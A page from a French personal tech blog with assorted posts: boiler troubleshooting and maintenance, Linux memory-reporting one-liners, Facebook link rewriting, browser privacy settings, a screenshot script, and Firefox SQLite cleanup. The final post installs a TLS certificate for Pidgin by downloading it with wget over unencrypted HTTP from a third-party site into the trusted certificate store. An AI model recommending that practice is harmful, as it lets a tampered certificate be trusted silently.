C'est souvent lorsque ça lâche que l'on s’intéresse aux choses :) C'est ce qui est arrivé avec ma chaudière un soir d'hiver ou elle a décidé de ne plus fonctionner. C'est en me rendant devant cette dernière que j'ai constaté plusieurs anomalies :

  • La pression dans le circuit d'eau était extrêmement basse.
  • Un voyant sur la chaudière clignotait et indiquait un dysfonctionnement.

Les premiers pas

J'ai, dans un premier temps, remis de la pression dans le circuit d'eau, en ouvrant la vanne d'arrivée d'eau, afin de remonter la pression à une valeur de 1,5 bars environs. Mais la chaudière ne repartait pas. Naïvement, j'ai tenté de redémarrer électriquement la chaudière (dans le doute reboote :)). Sans succès. C'est en ôtant le cache en bas de la chaudière que j'ai fais la rencontre du brûleur. Bon ça fait un peu peur la première fois, mais on fini par se repérer un poil. Moi les voyants rouges; bah ça m'intrigue ! et là j'en avais un gros pile sur le brûleur. En cherchant un peu, ça indique que le brûleur pour une certaine raison (ouais à ce niveau ça peut venir de plein de choses) c'est mis en sécurité. Il a préféré s’arrêter plutôt que de tourner dans un mode qui aurait pu l'endommager. Il suffit d'enfoncer le bouton situé dessus pour réamorcer le brûleur. Une fumée, avec une forte odeur de fioul, s'échappe du devant de la chaudière. En regardant de plus prêt, un joint très usé par le temps, n'existe plus sur plusieurs centimètres entre la chambre de combustion et le brûleur. ça ne doit pas être lié à mon problème mais je pense qu'il faudra regarder ça plus en détail... Et là, magie ! la chaudière est repartie mais ça n'a pas duré longtemps.

J'ai appelé le numéro posé sur la chaudière afin de demander l'intervention d'un chauffagiste. Et au bout du fil je tombe sur un monsieur fort sympathique, qui, devant sentir que j'étais curieux et suffisamment débrouillard, m'a indiqué des éléments qui pourraient être à la cause de ma panne. Première piste, plus de fioul. Étrange, le précédent locataire m'a indiqué qu'il restait un bon mois de fioul il y a de cela 3 jours. J'écarte donc cette piste. Le circulateur, il se peut qu'il soit grippé. Pour s'en assurer, on peut commencer par appuyer la pointe d'un tournevis sur la grosse vis du circulateur et on pose ensuite l'oreille sur le manche du tournevis afin d'écouter le bruit d'un moteur qui ferait tourner le circulateur. Promis c'est vrai c'est le chauffagiste qui l'a dit ! :-) Pas certain de ce que j'ai entendu je demande un autre moyen pour être certain qu'il tourne bien. On démonte la grosse vis en façade. De l'eau assez chaude coule en continu, il faut donc prévoir un seau pour récupérer l'eau. Derrière se trouve une autre vis, qu'on tourne dans les sens indiqué par la flèche sur le circulateur. Si cette dernière tourne sans problème, alors le circulateur n'est pas grippé.

Voyons ce que ça dit maintenant côté électrique. Sur le haut du circulateur, on trouve un boîtier étanche. Ce dernier renferme le raccordement électrique permettant d'alimenter le circulateur. L'idée c'est de vérifier aux bornes si un courant électrique arrive bien. Si c'est le cas, que le circulateur ne tourne pas, et qu'il n'est pas grippé, alors c'est cette pièce qui est endommagée. Je positionne donc un voltmètre aux bornes du circulateur, et là le moment de solitude; pas d’électricité aux bornes du circulateur. Et au bout du fil le plombier qui m'indique que la il faut remonter le fil pour voir s'il est bien branché et s'il n'aurait pas été sectionné à un endroit. Ça commence à devenir compliqué et il faut que je télécharge les notices précises de la chaudière pour savoir comment accéder au fil qui semble poser problème, ainsi que l'endroit supposé ou il doit être raccordé sur le contrôleur de la chaudière. Je vérifie donc les 2 extrémités du fil du circulateur, tout semble bon. Depuis les bornes du contrôleur qui alimente le circulateur, je trouve bien un courant de 220V, mais je ne retrouve pas ce dernier aux bornes du circulateur. Pas de doute j'ai trouvé le souci. Pour accéder au fil il faut démonter la partie latérale de la jaquette de la chaudière. Je trouve ici une boite de dérivation. En ouvrant cette dernière je constate qu'un fil semble sectionné et n'est plus en contact avec le domino auquel il est relié. Je reprend donc tout les fils et m'assure de bien mettre en contact ces derniers et sert assez fort le domino. Et là je jubile ! La chaudière fonctionne a merveille ! Enfin... Chance du débutant oblige, panne de fioul dans la foulée; à peine 3 jours après l’emménagement. J'ai donc commandé du fioul. 3h plus tard, le livreur était en train de remplir la cuve ! Efficace !

Il faut attendre 2 bonnes heures avant de relancer la chaudière et ce afin que les éventuelles particules présentes dans la cuve, se déposent à nouveau au fond et ne soient pas absorbés par le brûleur au risque d'endommager la chaudière. L'embout immergé dans la cuve ,est muni d'une crépine dont le rôle est de filtrer les plus grosses particules pour éviter ces situations. La chaudière semble à nouveau fonctionner. Je suis donc revenu sur le joint de la dernière fois et me suis mis en tête de le changer. Ce sera, au passage, l'occasion d'apprendre un peu comment tout ça fonctionne.

L'entretien

Quitte à changer le joint, autant en profiter pour faire un petit bilan de la chaudière et faire l'entretien des divers éléments.

Changer le joint

Histoire de bien comprendre ce qui a motivé le changement du joint voici quelques photos de ce dernier avant. On voit ici bien 2 traces noirs, d'où s'échappent les fumées à chaque amorçage du brûleur. Sur cette image on voit bien a gauche de la pièce métallique que le joint est entier, alors qu'à droite il n'existe plus du tout. Pour changer le joint il faut retirer le brûleur en dévissant 3 vis. Une fois le brûleur démonté, il a été nécessaire de nettoyer la surface car le joint avait fusionné avec les parties métalliques. À l'aide d'un couteau et d'une brosse métallique j'ai donc nettoyé la surface. Une fois cette étape réalisé on peut ensuite présenter le joint.

La chambre de chauffe

Vu que le brûleur est déposé, nous en profitons pour nettoyer la chambre de chauffe. Et ce n'était pas superflu ! À l'aide d'une brosse métallique et d'un goupillon, on va enlever toute la calamine présente dans la chambre afin de rendre les échanges thermiques optimum. Et voila le résultat après une bonne demi-heure à frotter et aspirer tout le dépôt présent dans la chambre Tout de suite ça fait plus propre.

Le Brûleur

Même sort pour le brûleur. Il faut nettoyer les parties qui étaient en contact avec le joint toujours à l'aide d'un couteau et de la brosse métallique. et tant qu'à faire autant nettoyer toutes les autres parties de ce dernier, en prenant soin de ne pas toucher aux électrodes ainsi qu'à la buse. Et voilà le résultat Il ne reste donc plus qu'à tout remonter et nous allons à présent pouvoir procéder à des réglages plus fins de la chaudière, afin d'en optimiser le rendement.

Les contrôles

Afin de réaliser l'ensemble des tests qui vont suivre; il est nécessaire que la chaudière soit en fonctionnement. J'ai pour ma part augmenté de manière significative la température du circuit de chauffe. C'est uniquement lorsque la chaudière est en fonctionnement, et de préférence depuis un certain temps afin que les fumées soient arrivées a la température de fonctionnement normal, que l'on peut réaliser l'ensemble des tests qui vont suivre. Sans cela nous aurions des valeurs incorrectes et qui ne reflèteraient pas le fonctionnement de la chaudière.

Le test de fumée

Avant de pouvoir procéder à un contrôle plus poussé de la chaudière, il est nécessaire de réaliser un test de fumée ou "smoke test" qui va nous permettre de déterminer l'indice de suie d'une chaudière. On réalise ce test à l'aide d'une pompe opacimètre. plutôt qu'un long discours voici une vidéo illustrant la manipulation:

https://www.youtube.com/watch?v=_YgzmT_KJUc

On retiendra qu'il faut insérer l'embout de la pompe dans un trou du conduit d'évacuation des fumées de la chaudière. Le trou est en moyenne situé à 2 fois le diamètre du conduit, de la base du conduit. On effectue dix pompages consécutifs. On retire ensuite le papier filtre et on le compare à la grille pour valider que ce dernier est situé entre 1 et 2/3 ;l'idéal étant de tendre vers 1. Si le résultat n'est pas bon il faut faire varier l'apport d'air afin d'obtenir un résultat convenable. Une fois le test réalisé, on peut utiliser la sonde de diagnostic pour des métriques plus précise sur le réglage de la chaudière. Utiliser la sonde dans une fumée trop chargée en suie risquerait d'endommager les capteurs de l'appareil et fausser les résultats.

La sonde de diagnostic

Nous avons utilisé une sonde TESTO 330-1. Ce modèle permet de faire plusieurs sortes de mesures, il peut mesurer le rendement de la chaudière, la teneur précise des fumées rejetées, ou encore le tirage. Afin de faire varier les résultats c'est comme pour le test de fumée en modulant l'apport d'air que l'on va régler de manière optimum les différentes valeurs remontées par le testeur. Voici les valeurs les plus remarquables que nous avons obtenu au final. Une petite explication des différentes métriques s'impose:

  • TF : c'est la température des fumées
  • CO² : il s'agit de la quantité de CO² présente dans les fumées. Une quantité trop importante de CO² dans les fumées indique une mauvaise combustion de ces dernières. L'air envoyé est trop important.
  • O² : C'est la quantité d'air (oxygène) relevées dans les fumées.
  • λ : représente l'excès d'air. 1,14, correspond à un excès d'air de 14%
  • CO : Exprimé en particules par mètre cube, c'est la quantité de particules de carbone par mètres cube d'air présent dans les fumées. Cette valeur est soumise à une réglementation fixant le nombre maximal de ppm à 25. (par le passé cette valeur était de 50 ppm)
  • η : C'est le pourcentage de rendement de la chaudière. autant dire que 92% pour une chaudière qui date d'il y a une bonne dizaine d'année c'est plutôt pas mal !

Liens connexes :

https://www.energieplus-lesite.be/index.php?id=10908 : Comment interpréter la fiche d'entretien d'une chaudière. Plus généralement le site Energie + parait extrêmement complet.

jeudi, 16 février 2017

Afficher la RAM des process les plus consommateurs

Voici comment afficher la liste des 10 processus les plus consommateurs et la RAM utilisée par ces derniers.

# ps -eo size,pid,user,command | sort -rn | head -10 | awk '{hr[1024**2]="GB"; hr[1024]="MB";for (x=1024**3; x>=1024; x/=1024) {if ($1>=x) { printf ("%-6.2f %s ", $1/x, hr[x]); break }} } { printf ("%-6s %-10s ", $2, $3) }{ for ( x=4 ; x<=NF ; x++ ) { printf ("%s ",$x) } print ("\n") }'
5.64   GB 28817  mysql      /apps/mysql/cluster-7.4.11/bin/ndbd --ndb-connectstring=vl-d-pxx-12:1186,vl-d-pxx-26:1186 --ndb-nodeid=2 --foreground=true
2.34   GB 2000   mysql      mysql-monitor-agent -java-home /apps/mysql/memagent/java -server -Xms32m -Xmx64m -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/apps/mysql/memagent/logs/mysql-monitor-agent.hprof -XX:OnOutOfMemoryError=/apps/mysql/memagent/bin/agentRestart.sh -user mysql -pidfile /apps/mysql/memagent/mysql-monitor-agent.pid -wait 90 -outfile /apps/mysql/memagent/logs/mysql-monitor-agent.stdout -errfile /apps/mysql/memagent/logs/mysql-monitor-agent.stderr -classpath /apps/mysql/memagent/bin/bootstrap:/apps/mysql/memagent/lib/commons-daemon-1.0.10.jar -DMYSQL_AGENT_HOME=/apps/mysql/memagent -Djava.library.path=/apps/mysql/memagent/lib -showversion -procname mysql-monitor-agent com.mysql.etools.agent.runtime.Bootstrap --agent-instance-dir=/apps/mysql/memagent
1.15   GB 14832  root       python /usr/bin/goferd
1.05   GB 2582   root       /apps/ITM/lx8266/lz/bin/klzagent
465.77 MB 1948   mysql      /apps/mysql/mcm/libexec/mcmd --plugin-dir=/apps/mysql/mcm/lib/mcmd --defaults-file=/apps/mysql/mcm/etc/mcmd.ini --daemon --pid-file=/apps/mysql/mcm/mcmd.pid
397.02 MB 4054   root       /apps/ITM/lx8266/lz/bin/kcawd
370.44 MB 1660   root       /sbin/rsyslogd -i /var/run/syslogd.pid -c 5
102.05 MB 3685   root       /usr/IBM/TWA/00svczc1/TWS/bin/JobManager
49.28  MB 15067  root       sort -rn
22.54  MB 1738   root       /apps/tad4d/lmt/tlmagent.bin

EDIT: Deux autres commandes glanées auprès des collègues :

find /proc -maxdepth 2 -path "/proc/[0-9]*/status" -readable -exec awk -v FS=":" '{process[$1]=$2;sub(/^[ \t]+/,"",process[$1]);} END {if(process["VmSwap"] && process["VmSwap"] != "0 kB") printf "%10s %-30s %20s\n",process["Pid"],process["Name"],process["VmSwap"]}' '{}' \; | awk '{print $(NF-1),$0}' | sort -hr | head | cut -d " " -f2-

La même avec le pourcentage à présent

find /proc -maxdepth 2 -path "/proc/[0-9]*/status" -readable -exec awk -v FS=":" -v TOTSWP="$(cat /proc/meminfo | sed  -n -e "s/^SwapTotal:[ ]*\([0-9]*\) kB/\1/p")" '{process[$1]=$2;sub(/^[ \t]+/,"",process[$1]);} END {if(process["VmSwap"] && process["VmSwap"] != "0 kB") {used_swap=process["VmSwap"];sub(/[ a-zA-Z]+/,"",used_swap);percent=(used_swap/TOTSWP*100); printf "%10s %-30s %20s %6.2f%\n",process["Pid"],process["Name"],process["VmSwap"],percent} }' '{}' \;  | awk '{print $(NF-2),$0}' | sort -hr | head | cut -d " " -f2-

Sources:

  • http://php.ingewikkeld.net/entry/human-readable-memory-usage-in-linux-per-process
  • http://www.linuxquestions.org/questions/programming-9/how-to-show-the-top-processes-eating-ram-in-human-readable-826216/

lundi, 12 mars 2012

Facebook : c'est du propre

Au détour de la configuration de mon proxy je me suis rendu compte d'une chose plutôt étrange .... Sans épiloguer sur ma soirée et son déroulement, j’étais en train d'échanger avec un ami à travers mon client Pidgin. J'ai configuré ce dernier pour qu'il puisse utiliser mon compte facebook et ainsi accéder, sans utiliser l'interface, à la liste de mes contacts( pour faire plus court, j'utilise le service XMPP de facebook à travers mon client :)). J'avais donc une conversation que nous pourrions qualifier de privée. Je précise tout cela pour avoir une idée du contexte.
Au détour de la conversation je lui envoie un lien pointant vers un des sites que j’héberge sur un serveur.
Il se trouve que j'avais un fichier de log ouvert en arrière plan, je vois donc la trace de la requête de mon interlocuteur déclenchée au clic du lien que je lui ai écris précédemment.
Et là très grosse surprise... Le lien ne correspondait absolument pas à celui que j'avais renseigné...

ainsi, là où j'avais indiqué une adresse de type http://domaine.com, mon interlocuteur a reçu pour sa part ce lien http://domaine.com (l'idéal étant de copier/coller les 2 liens dans un bloc-note pour apprécier la différence).
Il est à noter que pour mon exemple j'ai utilisé un champ h aléatoire ne sachant pas à quoi il correspond mais semblant lié à mon profil personnel. Pour cette raison le résultat ici, est d'être redirigé vers une alerte facebook vous informant d'un rebond vers un autre site. Dans le cas d'un champ h valide; la redirection se fait en totale transparence. le premier champ u correspondant à l'adresse du site à atteindre, h semble correspondre à une sorte de hash entre le profil et quelque chose d'autre (ou pas). Il semble même possible de réutiliser la variable "h" en modifiant le contenu de "u".
C'est à s'y méprendre les mêmes me direz-vous. Et pourtant, l'un pointe directement chez moi, tandis que l'autre fait un petit détour par facebook pour enfin revenir chez moi. Tout ceci je le rappelle se passe sans utiliser l'interface web de facebook.
. Voici ici le protocole de tests utilisé :

Test 1

Objectif :
  • identification et tentative de localisation d'une réécriture
Contexte :
  • Les 2 clients utilisent l'interface web facebook
Validation du test :
  • client A écrit manuellement un lien et l'envoi à client B
  • client B copie/colle le lien au format texte pour visualiser le lien présent dans le href généré
  • client A copie/colle le lien au format texte pour visualiser le lien présent dans le href généré
Résultat attendu :
  • le lien reçu par client B est réécrit.
  • le lien affiché par client A n'est pas réécrit.
interprétation si le test est valide :
  • Il y a réécriture des url au travers du service Facebook semblant intervenir au moment de la réception de par client B. En effet le lien affiché dans la fenêtre de conversation du client émetteur du message n'est pas modifié.

Test 2

Objectif :
  • localisation de la réécriture.
Contexte :
  • Client A utilise un client XMPP et accède au service avec son compte Facebook.
  • Client B utilise l'interface web facebook
validation du test :
  • Client A envoie un message a client B
  • Client B envoie un message a client A
Résultat attendu :
  • le lien reçu par client A n'est pas réécrit
  • le lien reçu par client B est réécrit
interprétation si le test n'est pas valide :
  • Il y a réécriture des url et ce uniquement au travers de l'interface web facebook.

MITIGATION : Il suffit donc d'utiliser directement le service XMPP sans passer par l'interface web facebook pour ne plus subir cette réécriture d'URL.

Bien évidement, il s'agit la de collecter une fois de plus des données, on ne sait pour quel usage. Mais bon comme dirais l'autre : "t'as signé, c'est pour en chier !" :). Une des implication de la pression de la touche "Accepter" en bas de page d'inscription de votre fournisseur de service préféré...
Personnellement, ce qui me dérange ici le plus c'est qu'il s'agit clairement d'une manipulation de mon message pour en réécrire la substance... Bref encore un truc qui m’énerve ! Méchant ! Méchant facebook! Pas beau va !

Pour la solution de contournement, elle est simple :) : chiffrez vos échanges ! on ne le répétera jamais assez. Il ne s'agit pas là d'une quelconque psychose ou je ne sait quel autre argument en bois, (ah j'oubliais l’éternel "j'ai rien à cacher" ou l'excellent "tu fais des trucs pas clairs"), mais belle et bien d'une réelle alternative à toutes ces problématiques de protection des données, ou encore le respect de la vie privée ou je ne sais quoi.
Il s'agit ici de s'assurer que le service effectue son travail de fournisseur en toute neutralité, et que nous conservions la maîtrise de notre contenu. Notez bien que le principe s'applique de façon relativement transparente sur les mails ainsi que la messagerie instantané.
Utilisons donc le service que nous souhaitons, qu'il s'agisse du numéro un mondial ou de votre serveur dans votre placard, mais arrêtons de dépendre de la faiblesse de ce fournisseur. La mise en place prend certes un poil plus de temps, mais le gain est immense !
Pour faire cela,avec les outils de messagerie instantané, j'utilise le client multi protocole Pidgin avec son excellent plugin pidgin-encryption. ça prend 5 minutes à installer et c'est transparent dans l'usage quotidien. Foncez !! :D

Liens connexes :

jeudi, 19 janvier 2012

Megaupload & Co c'est fini

Voilà, c'est fini. Suite à une superbe décision dont vous trouverez le détail ici, les machines du célèbre hébergeur de contenu Megaupload ont étés saisies ce jour dans le cadre d'une investigation. Le service n'est donc plus disponible.

Liens connexes :

mercredi, 4 janvier 2012

Duck Duck Go : un moteur de recherche qui vous veut du bien

Je cherchais depuis quelques temps une alternative à Google en temps que moteur de recherche. Je me suis aujourd'hui décidé pour Duck Duck Go.

Ce dernier est très largement configurable et permet de mettre rapidement en place un moyen efficace de se prémunir de la collecte d'informations vous concernant. Pour un bref rappel des enjeux vous pourrez trouver ce superbe guide illustré disponible ici.

Configuration

Je vais ici présenter quelques options à mettre en œuvre lors du premier usage. Bon nombre des actions présentées, sont pour la plupart présenté dans la section Privacy
Sans plus attendre; commençons par le commencement :).
Pour éditer les options du moteur, nous allons nous rendre dans la section settings.
Dans la partie Result settings :
On édite le champ Région : à France
Dans la partie Privacy Settings :
On édite le champ Address Bar : à Off
On édite le champ HTTPS : à On
Dans la partie Interface Settings :
On édite le champ Advertisements : à Off
Je ne voudrais pas vous assommer avec les nombreuses fonctionnalités que comporte l'outil et vous invite donc à lire la documentation très bien faite à ce sujet. N'hésitez pas à me faire part de vos remarques ou suggestions sur la configuration de l'outil.

Intégration

Il est bien évidement possible d'intégrer ce nouveau moteur à votre navigateur.
Un module est disponible pour Firefox. Vous trouverez plusieurs déclinaisons de l'outil, j'ai pour ma part choisi Duck Duck Go SSL.
Vous pouvez ensuite modifier le comportement de la barre d'adresse pour que cette derniere utilise également votre nouveau moteur de recherche.
Pour cela, saisissez about:config dans la barre d'adresse de Firefox et recherchez l'occurrence keyword.url.
Remplacez la valeur par défaut http://www.google.com/search?ie=UTF-8&oe=UTF-8&sourceid=navclient&gfns=1&q= par https://duckduckgo.com/?q=

Liens Connexes :

Pour une fois l'article est largement fourni en lien donc ça va être plutôt light.

jeudi, 22 décembre 2011

Facebook et DPC : Un pas en avant pour vos données personnelles

Le 21 décembre 2011, la DPC (l'équivalent de la CNIL française en Irlande) a rendu sa copie, après 3 mois d'audit (dont 6 jours sur site) de Facebook-Irlande, siège du célèbre réseau social.
Parce que vous êtes feignants, mais aussi, parce que je trouve important de communiquer sur ce genre de choses, voici quelques points notables que j'ai pu relever à la lecture (en diagonale :) )de ce dernier.
La partie la plus importante concerne les périodes de rétention des données collectées, et l'anonymisation de ces dernières au fil du temps. Ainsi, la période de rétention , jusqu'ici d'une durée illimitée, est ramenée à 2 ans. Au delà de cette période un processus d'anonymisation est déroulé. de la même façon, les données collectées au travers des divers add-on (J'aime, Partager, ...) sont elles aussi supprimées. Le délai est, cette fois, variable selon la façon dont elles sont collectées.
La suppression des comptes devrait, elle aussi être améliorée. Ainsi les données devront être supprimées de façon irrévocable dans un délai maximum de 40 jours après la demande.
Un des reproches récurrents, est aussi le manque de documentation sur les conditions d'utilisation, ou encore les options de sécurité présentées à l'utilisateur.

Il est tout de même important de souligner quelques points.
Le module de reconnaissance faciale permettant la suggestion d'identification lorsque vos contacts publient des photos dans lesquelles vous semblez apparaitre est bien désactivé lorsque l'utilisateur désactive la fonction "Suggestions d'identifications". Voilà dans les grandes lignes les quelques points clé que j'ai pu relever.

Pour ma part, après la lecture de ce rapport je me suis empressé de parcourir les options de mon profil afin de désactiver, et supprimer, bon nombre de fonctionnalités activées par défaut et dont je n'avais même pas connaissance. Je vous invite chaudement à parcourir vos options de confidentialité. J'ai pu remarquer un gros travail sur la clarté des explications fournies pour chacune des options. Et pour les plus courageux, je vous encourage à parcourir le rapport dont le lien figure ci-dessous. Enfin pour les sceptiques, une revue est déjà planifiée pour juillet 2012.

Liens connexes :

jeudi, 3 novembre 2011

Piwik mobile: vos statistiques à portée de main

Voila quelques temps déjà que j'utilise ce merveilleux outil qu'est Piwik pour avoir un certain regard sur les statistiques des différents sites que j’héberge. Je suis tombé aujourd'hui sur un client en version mobile permettant ainsi d'acceder à l'ensemble des statistiques depuis son téléphone portable. Disponible aussi bien pour iPhone (IOS) que pour Android. Vous trouverez ici toutes les informations utiles:

mardi, 25 octobre 2011

Déménagement !

Nous y voila ! Depuis quelques temps déjà je travaille à la mise en oeuvre d'une infrastructure à la maison. ondulée et tolérante à de nombreuses pannes, je suis à présent parvenu à quelque chose de relativement mature. Ceci me permet à présent d'heberger l'ensemble de mes services directement chez moi. Voila donc chose faite, le blog, ainsi que quelques autres services, viennent d'être migré. Reste les données contenus sur un autre serveur qui seront rapatriés ultérieurement. Vous apprécierez au passage le reverse de mon IP :)

jeudi, 29 septembre 2011

Firefox 7 : afficher http et https dans les url

Vous l'aurez certainement remarqué mais dans firefox 7 le http ou https du début des adresses internet... Allez comprendre ... Ceci étant dit pour faire réapparaitre le début de vos adresses voila comment procéder: saisissez dans la barre d'adresse "about:config" passez ensuite la variable

browser.urlbar.trimURLs=false

pour la couleur c'est cette variable qu'il faut modifier

browser.urlbar.formatting.enabled=false

lundi, 6 juin 2011

Gnome et scrot : Capture de zones d'écran

Nous allons voir ici comment ajouter une fonction de capture d'une zone spécifique de l'écran. Pour rappel il est par défaut possible de faire deux type de captures:

  • La touche PrintScreen capture l'intégralité de l'écran
  • la combinaison Alt + PrintScreen capture l'intégralité de la fenêtre présente sous le curseur.

Nous allons ajouter une troisième combinaison de touche, qui nous permettra de sélectionner une zone, à l'aide du curseur de la sourie, délimitant la zone à capturer.

pré-requis

scrot doit être installé. la procédure est pour un environnement gnome. elle est donc à adapter pour d'autres environnements.

Mise en œuvre

Nous allons créer un script contenant les informations suivantes :

~/script$ cat screenshot.sh 
#!/bin/sh 
SCREEN_PATH="$HOME/Screenshot"
DATE=$(date +%Y-%m-%d-%H:%M:%S) 
sleep 1 && scrot -s -b $SCREEN_PATH/screenshot_$DATE.png 
On prend soin de rendre le script executable
~/script$ chmod u+x screenshot.sh

Nous allons ensuite créer un raccourci clavier afin d'utiliser simplement cette fonctionnalité : Système > Préférences > Raccourcis Clavier. On clique sur ajouter scrot_1.png on renseigne ensuite les informations suivantes (à adapter selon votre configuration) scrot_2.png Il ne reste plus qu'à sélectionner la combinaison de touches de votre choix. Pour ma part j'ai choisi la combinaison Ctrl + PrintScreen Je dois dire que je suis assez satisfait du résultat. Il me suffit à présent de taper la combinaison Ctrl + PrintScreen pour sélectionner une zone de l'écran à capturer.
Enjoy !

jeudi, 2 juin 2011

find : optimisation de traitements

On ne fini jamais d'en apprendre sur la merveilleuse commande qu'est find. Aujourd'hui grâce au remarques de jsz', voici ce que j'ai pu constater :

$ time find Bureau/ -type f -exec ls {} >/dev/null \;
real    0m13.386s
user    0m21.149s
sys     0m8.297s
$ time find Bureau/ -type f -exec ls {} >/dev/null +
real    0m0.205s
user    0m0.116s
sys     0m0.088s

la subtilité réside ici dans la façon dont sont traités les occurrences retournées par find. Dans le premier cas les occurrences sont traitées de façon unitaire; ainsi pour n occurrences nous lancerons n fois la commande ls.
Dans le second cas, nous utilisons la capacité de ls à traiter simultanément plusieurs chemins. Ainsi pour n occurrences la commande ls ne sera exécutée qu'une unique fois. il y a concaténation des occurrences pour ne former qu'une unique ligne.
Pour la partie optimisation, et bien les temps de traitement parlent d'eux-même.

vendredi, 20 mai 2011

Firefox : optimisation des bases SQlite

J'entends beaucoup parler d'optimisation de navigateur avec des manipulations plus ou moins pertinentes à effectuer sans que le gains ne soit réellement mesuré. Aujourd'hui je vous propose une optimisation relativement triviale visant à nettoyer les bases SQlite utilisées par Firefox pour y stocker diverses informations.

Les pré-requis:

  • sqlite3 doit être installé
  • Firefox doit être fermé au moment des manipulations, faute de quoi les commandes à venir se solderont par un message vous informant que la base est verrouillée.

Mise en œuvre

les fichiers relatifs au profil utilisateur sont, par défaut, stockés dans le répertoire ~/.mozilla/firefox/*.default/. Nous allons donc optimiser tous les fichiers sqlite présents dans ce répertoire à l'aide de la commande suivante:

$ find ~/.mozilla/firefox/*.default/ -iname "*.sqlite" -exec sqlite3 {} 'VACUUM;' \;

Pour comprendre l'opération effectuée il suffit de se reporter à la documentation sqlite. La directive VACUUM vise à reconstruire dans son intégralité la base sqlite en compactant cette dernière au maximum. Pour le détail des actions effectuées par la commande je vous invite à lire l'excellente présentation de la documentation officielle. http://www.sqlite.org/lang_vacuum.html Voici une présentation de chacun des fichiers sqlite afin de mieux comprendre (Merci Gniarf):
urlclassifier3.sqlite : c'est la base qui est fournie par google pour la fonction anti-malware, ca pèse facilement 23 Mo a la sortie d'une installation. Si la fonctionnalité est désactivé vous n'avez donc pas besoin de stocker cette base.
cookies.sqlite : va contenir l'ensemble des cookies stockés par les différents sites visités.
places.sqlite : contient l'historique des pages visitées donc avec une rétention de 90 jours, ce fichier peut facilement atteindre 20Mo. Vous pouvez trouver une présentation exhaustive de cette base ici.
key3.db : c'est la base de mots de passes enregistrés dans firefox. Cette dernière est chiffrées et ne peut donc être accédée :

sqlite> SELECT name FROM sqlite_master WHERE type = "table";
Error: file is encrypted or is not a database

signons.sqlite : il fonctionne apparemment de paire avec la base key3.db. ce dernier n'est pas chiffré. On peut donc imaginer qu'il est utilisé pour accéder aux informations chiffrées de la base key3.db
downloads.sqlite : contient la liste de téléchargements lancés dans le navigateur.
content-prefs.sqlite : Contient les préférences individuelles appliquées à des pages. ici pour plus de détails le contenu (désolé la page n'était disponible que dans le cache google au moment ou j'écris).
premissions.sqlite : contient l'ensemble des préférences appliquées sur un site. On y liste donc les sites autorisés à utiliser ou non les cookies, ou encore afficher ou non des images.
formhistory : contient l'historique des formulaires saisis dans votre navigateur.
search.sqlite : contient la liste des différents moteurs de recherche intégrés au navigateur.
webappsstore.sqlite : contient les données au format DOM générées par les différents sites. plus de détails ici

Maintenant est-ce vraiment efficace ?

J'ai effectué mes tests sur un navigateur Firefox fraichement installée, je n'ai donc pas observé de changement significatif de performances. Cependant les chiffres parlent d'eux même. Voici donc les variations de taille que j'ai pu observer sur les différents fichiers SQLite une fois le nettoyage des base effectué. Optimisation des bases SQLite Firefox On constate que 3 bases (cookies.sqlite, urlclassifier3.sqlite, places.sqlite) ont fait l'objet d'un sérieux nettoyage et j'avoue avoir été surpris d'un tel gain après un temps si court d'utilisation. J'imagine donc largement à quel point cette optimisation peut s'avérer bénéfique dans le cas d'une utilisation prolongé de Firefox. J'ai entamé un suivi des bases sqlites constitutives du profil, nous pourrons ainsi voir l'évolution de ces dernières dans le temps et générer des jolis graphiques :). Voici donc comme promis un graphique représentant le bénéfice du compactage des bases dans le temps. compactage de base sqlite pour la version en taille originale vous pouvez la trouver ici

Liens connexes

mercredi, 24 novembre 2010

Pidgin : le certificat omega.contacts.msn.com n est plus valide

SI vous aussi votre client pidgin se plaint d'une erreur de certificat au moment de la connexion à votre compte de messagerie hotmail; il vous suffit simplement de récupérer le nouveau certificat en vigueur. Pour se faire rien de plus simple. Ouvrez un terminal et tapez simplement la commande suivante:

wget "http://files.andreineculau.com/projects/pidgin/omega.contacts.msn.com.txt" -O ~/.purple/certificates/x509/tls_peers/omega.contacts.msn.com

J'ai péché l'info ici quand même. Merci à l'auteur pour le tip.

- page 1 de 5